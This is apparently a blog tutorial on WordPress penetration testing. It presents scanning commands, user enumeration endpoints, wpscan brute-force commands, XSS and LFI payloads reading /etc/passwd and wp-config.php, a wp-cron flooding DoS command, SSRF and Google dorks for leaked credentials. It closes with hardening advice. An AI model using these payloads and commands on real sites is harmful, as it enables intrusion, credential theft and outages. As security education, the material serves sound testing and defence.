
Introduction
Hey geeks! 👋
If this is your first time reading me, I'm ATTER Koffi Kallern, aka (+) hackus_man. I love everything related to hacking, and my specialty is web pentesting. You can follow me on LinkedIn via this link: 🔗 https://tg.linkedin.com/in/atter-koffi-kallern
Do you use WordPress?
You're not alone: this CMS powers millions of websites thanks to its flexibility and ease of use. But this popularity has a downside: WordPress is a prime target for hackers.
Outdated plugins, poorly designed themes, insufficient security settings, or simple administrative errors… these are all potential vulnerabilities.
In this article, we detail:
- the most critical vulnerabilities,
- attackers' methods,
- and best practices to effectively protect your site.
Discover the internal structure of WordPress
Before hacking WordPress, you need to understand its structure:
- Core: official files updated by the community.
- Themes: design, but often containing risky PHP/JS code.
- Plugins: major sources of vulnerabilities. Hackers generally do not target the WordPress core, but rather poorly developed plugins or poorly configured themes.
Standard file and directory hierarchy in WordPress
/ (webroot)
├── wp-config.php # Database, keys, salts – critical
├── wp-login.php # Login page – brute force target
├── xmlrpc.php # API – frequent attack vector
├── readme.html / license.txt # Public info (should be removed)
├── .htaccess # Apache configuration
├── wp-admin/ # Backend dashboard (often protected)
├── wp-includes/ # WordPress core (do not modify)
│
└── wp-content/ # ⚠️ AUDIT ZONE
├── plugins/ # #1 source of vulnerabilities
├── themes/ # Potentially insecure code
├── uploads/ # Uploaded files – execution risk
├── mu-plugins/ # Must-use plugins (cannot be disabled)
├── languages/ # Translation files
├── cache/ # Cache files (sometimes exploitable)
└── upgrade/ # Temporary update filesFor further details
For a deeper understanding of the WordPress file structure and security best practices, check out:
Advanced Custom Fields (ACF) — WordPress File Structure for Custom Development 🔗https://www.advancedcustomfields.com/blog/wordpress-file-structure/
What WordPress vulnerabilities should be addressed?
A. Core Fault (WordPress Core)
- Authentication bypass — Flaws in wp-login.php or cookies.
- Privilege escalation — A simple subscriber becomes an administrator.
- SQL injections — Uncleaned queries exploiting user parameters.
- XSS (Cross-Site Scripting) — Malicious scripts injected via comments, fields, profiles.
- File inclusions/deletions — Arbitrary reading or writing of files (often via admin functions).
B. Faille extensions and themes (Plugins & Themes)
- IDOR (direct unsecured access) — Manipulation of an ID in the URL (?post_id=123) to access protected data.
- CSRF (request forgery) — Forcing a logged-in user to perform an action without their knowledge.
- Uncontrolled file upload — Submitting executable files (.php, .webshell) via a form.
- API vulnerabilities (REST, GraphQL) — Unwanted exposure of sensitive data.
- Injection into settings — Permanent storage of XSS within the options of a plugin or theme.
C. Server/Configuration
- Issues XML-RPC — Bruteforce or pingback attack.
- Directory traversal — ../../../../wp-config.php to read files outside the root directory.
- Dangerous permissions — wp-content folders accessible for writing or backup archives exposed.
WPScan — the ultimate tool for scanning WordPress
Basic :
wpscan --url https://domain.com --api-token TOKEN
Aggressive :
wpscan --url https://domain.com --disable-tls-checks --api-token <token> -e at -e ap -e u --enumerate ap --plugins-detection aggressive --force
Learn more about the wpscan tool : https://github.com/wpscanteam/wpscan
I also use my friend Valentin's tool automatically (take a look at his blog https://chocapikk.com and his tool is wpprobe, available on https://github.com/Chocapikk/wpprobe and most recently on Linux repositories).
List: plugins, themes, users, CVE vulnerabilities.
Nmap — Mapping of ports and services
nmap -p- — min-rate 1000 -T4 -A target.com -oA fullscan
Explanation :
-p- : all ports (1 to 65535)
— min-rate 1000: fast sending (at least 1000 packets/s)
-T4: aggressive timing
-A: OS detection + versions + scripts
-oA fullscan: saves in 3 formats
For a complete overview of using nmap, you can check: https://github.com/nmap/nmap
ffuf / DirBuster — forced discovery of hidden directories and files
dirsearch — basic version :
dirsearch -u https://example.com — full-url — deep-recursive -r
Explanation :
— full-url: displays full URLs
— deep-recursive: deep recursive traversal
-r: follows redirections
dirsearch — advanced version
dirsearch -u https://example.com -e php,cgi,htm,html,shtm,shtml,js,txt,bak,zip,old,conf,log,pl,asp,aspx,jsp,sql,db,sqlite,mdb,tar,gz,7z,rar,json,xml,yml,yaml,ini,java,py,rb,php3,php4,php5 — random-agent — recursive -R 3 -t 20 — exclude-status=404 — follow-redirects — delay=0.1
Explanation :
-e :File extensions to search for
--random-agent:Change the User-Agent with each request
--recursive -R 3:3-level recursive scan
-t 20 :20 threads
--exclude-status=404 :Ignore 404 replies
--follow-redirects :Follow the redirects
--delay=0.1 :A 0.1s pause is allowed between requests.
ffuf —heavy version
ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://example.com/FUZZ -fc 400,401,402,403,404,429,500,501,502,503 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf,.js,.css,.zip,.bak,.old,.log,.json,.xml,.config,.env,.asp,.aspx,.jsp,.gz,.tar,.sql,.db -ac -c -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" -t 100 -r -o results.json
-w seclists/Discovery/Web-Content/directory-list-2.3-big.txt :File containing the words to be tested
-uhttps://example.com/FUZZ:URL where FUZZ is replaced by each word
-fc 400,401,402,403,404,429,500,501,502,503 :Ignore responses with these codes
-recursion :Explore the files found
-recursion-depth 2 : Limit to 2 levels of depth
-e .html,.php,.txt,... :Add these extensions to each tested word
-ac :Automatically adjusts the filters
-c : Displays results in color
-H "User-Agent: …" : Sets a custom HTTP header
-t 100 : Number of simultaneous requests
-r : Follows HTTP redirects
-o results.json:Saves the results to a JSON file
ffuf — WordPress-targeted version
ffuf -w wp-fuzz.txt -u https://ens.domains/FUZZ -fc 401,403,404 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf -ac -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" -r -t 60 --rate 100 -cFor the wordlist, I generally use this, https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/wordpress.fuzz.txt
To learn more about ffuf and dirsearch, here are their GitHub repositories:
How to hunt down WordPress vulnerabilities step by step ?
Retrieve usernames using the REST API
WordPress includes a REST API which, by default, discloses the data of users who have written public content. Enumeration is possible via the following endpoint:
# Default REST API endpoint
/wp-json/wp/v2/users
# Common bypasses
/wp-json/wp/v2/users/n
/wp-json/?rest_route=/wp/v2/users/
/wp-json/?rest_route=/wp/v2/users/n
/index.php?rest_route=/wp/v2/users
/index.php?rest_route=/wp/v2/users/n
# With query parameters
/wp-json/wp/v2/users?page=1
/wp-json/wp/v2/users/?per_page=100
/wp-json/wp/v2/users/?orderby=id&order=asc
/wp-json/wp/v2/users?search=admin
/wp-json/wp/v2/users?search=editor
# Direct user ID probing
/wp-json/wp/v2/users/1
/wp-json/wp/v2/users/2
/wp-json/wp/v2/users/9999
# Legacy or alternative endpoints
/wp-json/users
/wp-json/wp/v2/users.json
/?rest_route=/wp/v2/users
/?rest_route=/wp/v2/users/1Brute-force administrator authentication
Now that you have the list of users, you will test passwords in bulk on the admin login page. Use these commands:
# WPScan brute force (single username) wpscan — url https://example.com — username admin — passwords passwords.txt — disable-tls-checks
# WPScan brute force (multiple usernames) wpscan — url https://example.com — usernames usernames.txt — passwords passwords.txt — disable-tls-checks
# WPScan brute force via XML-RPC wpscan — url https://example.com — usernames admin — passwords passwords.txt — disable-tls-checks — max-threads 10
Configuration file leak
Incorrect server configuration can expose sensitive files such as wp-config.php, .env, or backups (.bak, .save). These files often contain database credentials, API keys, and environment variables. Compromising them typically leads to complete control of the website. Here are the most common paths where these files are exposed on WordPress:
# Main WordPress configuration file
/wp-config.php
/wp-config.php.bak
/wp-config.php.save
/wp-config.php.old
/wp-config.php.orig
/wp-config.php~
/wp-config.php.txt
/wp-config.php.zip
/wp-config.php.tar.gz
/wp-config.php.backup
# Environment files
/.env
/.env.bak
/.env.old
/.env.save
/.env.example
/.env.local
# Backup & archive leaks
/backup.zip
/backup.tar.gz
/db.sql
/database.sql
/dump.sql
/wordpress.zip
/wordpress.tar.gz
/website-backup.zip
/site-backup.tar.gz
# Other sensitive config files
/wp-config-sample.php
/.htaccess
/.htpasswd
/phpinfo.php
/config.json
/config.php
/config.php.bakDisplaying the registration page
When user registration is enabled via wp-login.php?action=register, any attacker can create accounts without any control. The consequences include: mass creation of spam accounts, and privilege escalation if the default roles are permissive. For automated scanning across multiple targets, here is a Nuclei template:
nuclei -u https://example.com -t ~/nuclei-templates/http/exposed-panels/wordpress-registration.yaml
Insecure WordPress installation assistant
The endpoint /wp-admin/setup-config.php?step=1 is part of the WordPress installation process. If it remains accessible after deployment, it means the installation is incomplete or misconfigured. An attacker can then relaunch the assistant, overwrite the existing configuration and take total control of the site and its database. Massive detection with Nuclei:
nuclei -u https://example.com -t ~/nuclei-templates/http/exposed-panels/wordpress-setup-wizard.yaml
Nuclei is a tool for automated vulnerability research. To learn more about Nuclei, visit: https://github.com/projectdiscovery/nuclei
XML-RPC: a classic but effective attack
xmlrpc.php allows remote calls. If misconfigured, it exposes the site to:
- Brute-force authentication
- DDoS via pingback amplification
- Data extraction via system.multicall
A legitimate but risky feature if not protected.
🔗 Full article on this attack: https://github.com/rm-onata/xmlrpc-attack
Admin-AJAX: an underestimated attack vector
admin-ajax.phpis a core endpoint for handling asynchronous requests. When misconfigured, it allows unauthenticated users to trigger actions that should be protected. Possible consequences include XSS, or even RCE if a vulnerable plugin or theme is involved.
Example:
XSS attempt:
- domain.com/wp-admin/admin-ajax.php?action=tie_get_user_weather&options={'location'%3A'Cairo'%2C'units'%3A'C'%2C'forecast_days'%3AƋ<%2Fscript><script>alert(document.domain)<%2Fscript>custom_name'%3A'Cairo'%2C'animated'%3A'true'} - domain.com/wp-content/themes/ambience/thumb.php?src=<body onload=prompt(1)>.png
RCE attempt:
https://domain.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwdWhen WordPress includes files without control
Sometimes, a plugin or theme constructs a file path from information sent by the user (for example: ?page=home). If this information is not filtered, an attacker can modify the path to read sensitive files on the server. This is called Local File Inclusion (LFI). Some payloads to test:
http://target.com/index.php?page=about.php
http://target.com/index.php?page=../../../../etc/passwd
http://target.com/wp-content/themes/twentytwenty/page.php?file=../../../../wp-config.php
http://target.com/wp-content/plugins/plugin-name/download.php?file=../../../../wp-config.php
http://target.com/wp-admin/admin.php?page=../../../../etc/passwd
http://target.com/?cat=../../../../../../etc/passwd
http://target.com/?author=../../../../../../wp-config.phpWithout validation, a parameter like about.php can be overridden by /etc/passwd (file reading) or a remote payload (RCE). To automate this, fuzz the parameters with an LFI list. Example: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
Abus de wp-cron.php pour un déni de service
WordPress uses wp-cron.php to manage scheduled tasks. Although this page usually displays a blank screen, each request triggers processes in the background. An attacker can abuse this behavior by sending a large number of automated requests to overload the server and cause a denial of service (DoS).
./doser -t 100000 -g "https://cible.com/wp-cron.php"
The vulnerability is confirmed when, after flooding the endpoint with ~100,000 requests, the site returns a 500 Internal Server Error when reloading the page.
One of the tools in question uses this method: https://github.com/Quitten/doser.go
Pay attention to the debug.log file.
WordPress can log errors in a debug.log file.
The problem?
This file is located in wp-content/ and can be viewed by anyone if the site is not properly configured.
Why is this dangerous?
Logs often contain file paths, database errors, or even passwords in plain text. Quick test: text https://example.com/wp-content/debug.log
Exposed WordPress Installation Script
The install.php file is used to install WordPress. If it is accessible on a live site, this may indicate a misconfiguration or allow an attacker to reinstall / overwrite the site.
Example:
https://target.com/wp-admin/install.phpOn a live site, accessing this URL may reveal the installation page or allow an attacker to tamper with the configuration.
Prevention
- Delete or restrict access to
install.phpafter installation - Use proper file permissions to prevent unauthorized access
SSRF in WordPress (Server-Side Request Forgery)
WordPress exposes certain endpoints that attackers can abuse to perform unauthorized requests from the server. A common example is the oEmbed proxy API, which fetches external URLs and can be exploited to force the server to make requests on its behalf.
Vulnerable URL:
https://target.com/wp-json/oembed/1.0/proxy?url=<attacker-controlled-url>Potential impact:
- Scan the internal network
- Access cloud metadata endpoints (e.g., AWS, GCP)
- Leak sensitive data from internal services
WordPress Subdomain Takeover
Sometimes, WordPress subdomains (like blog.target.com or shop.target.com) still point to old services: WordPress.com hosting, GitHub Pages, or abandoned SaaS platforms. If the DNS record exists but the associated service is no longer requested, an attacker can register the resource and take control of the subdomain. Possible consequences include website degradation, phishing, or more advanced exploitation.
Automated detection with Nuclei: nuclei -t /specify the path to the template -l subdomains.txt
Directory Listing Enabled
If directory listing is not disabled, attackers can freely browse website directories and access sensitive files such as backups, configuration files, logs, or source code.
Paths to check on WordPress:
/wp-content/uploads/– Media assets, documents, user uploads/wp-content/plugins/– Plugin files, outdated versions/wp-content/themes/– Theme templates, custom functions/wp-includes/– Core PHP/JS files/wp-content/backup/– Backups, database exports/wp-admin/backup/– Backups inside admin directories/wp-includes/fonts/– Font assets, design choices
WordPress Google Dorks Cheat Sheet
Google dorks are advanced search queries that allow you to locate sensitive files, weak configurations, or vulnerabilities on WordPress sites… without even accessing the site directly. Here are some essential dorks:
# Finding WordPress Sites
site:target.com inurl:wp-content
site:target.com inurl:wp-admin
site:target.com "Powered by WordPress"
# Version Detection
inurl:readme.html "WordPress"
inurl:/wp-includes/js/wp-embed.min.js
site:target.com "WordPress" "version"
# Vulnerable Plugins
inurl:wp-content/plugins/plugin-name
site:target.com inurl:wp-content/plugins "index of"
site:target.com "wp-content/plugins" + "vulnerable-plugin-name"
# Vulnerable Themes
inurl:wp-content/themes/theme-name
site:target.com inurl:wp-content/themes "index of"
site:target.com "wp-content/themes" + "vulnerable-theme-name"
# Login Pages
inurl:wp-login.php
intitle:"WordPress › Login"
site:target.com inurl:wp-admin/admin-ajax.php
# Configuration Files
inurl:wp-config.php
site:target.com ext:txt "wp-config"
site:target.com ext:log "wordpress"
# Backup Files
inurl:wp-content backup.zip
site:target.com ext:sql "wordpress"
site:target.com ext:bak "wp-config"
# Database Dumps
site:target.com ext:sql "INSERT INTO wp_users"
site:target.com "database dump" "wordpress"
# Error Messages
site:target.com "Fatal error" "wordpress"
site:target.com "WordPress database error"
# Sensitive Information
site:target.com Index of /wp-admin
site:target.com "index of" /wp-content/uploads/
site:target.com inurl:wp-json/wp/v2/users
site:target.com "xmlrpc.php"
# Directory Listings
site:target.com intitle:"index of" wp-includes
site:target.com intitle:"index of" wp-contentFamous and high-impact WordPress CVEs
Over the years, WordPress, its plugins, and themes have fallen victim to some of the most critical vulnerabilities ever discovered. Here's a selection of the most notorious CVEs — from historical flaws to recent exploits — that every security researcher and website administrator should be aware of.
- CVE-2021–24146: Advanced Custom Fields (authenticated XSS)
- CVE-2023–3460: Ultimate Member (Account Takeover)
- CVE-2024–2876: Elementor Pro (RCE via uploads)
- CVE-2022–0215: UpdraftPlus (Uploading sensitive logs)
- CVE-2023–5360: WPForms CSRF -> XSS
Prevention and Mitigation
Securing WordPress isn't just about finding bugs — it's also about preventing them from being exploited. Below are key steps to harden your installation:
1. Keep WordPress, Plugins & Themes Updated Regular patching reduces exposure to known CVEs and zero-day vulnerabilities.
2. Remove Unused Plugins & Themes Every plugin adds attack surface. Delete what you don't use.
3. Limit Access to Sensitive Files & Endpoints Block public access to the following unless explicitly required: - /wp-config.php - .env files - .htaccess - /xmlrpc.php - /wp-admin/ - /wp-cron.php
4. Enforce Strong Authentication Use strong, unique passwords and enable two-factor authentication (2FA) for all admin accounts.
5. Rate Limiting & WAF Protect against brute force attacks, XML-RPC abuse, and DoS using rate limiting rules or a Web Application Firewall (e.g., Cloudflare, ModSecurity).
6. Secure Backups Store backups outside the web root and ensure they are not publicly accessible (avoid leaks like /backup.zip).
7. Subdomain & DNS Hygiene Regularly audit DNS records to prevent subdomain takeover risks.
Shorter version (bullet points only): - Update regularly — Core, plugins, themes - Remove unused plugins/themes — Less attack surface - Restrict sensitive files — wp-config.php, .env, xmlrpc.php, etc. - Strong auth + 2FA — Especially for admin accounts - Rate limiting / WAF — Block brute force and DoS - Backups outside webroot — No public access - Audit DNS — Avoid subdomain takeover
Conclusion :
I tried to include a little bit of everything in this guide: from the basics of WordPress architecture to advanced vulnerability hunting techniques, including essential tools, famous CVEs, and finally, best practices for prevention. I hope this helps you better understand how WordPress penetration testing actually works. It's not simply a list of commands to execute one after the other. It's a structured methodology based on several pillars.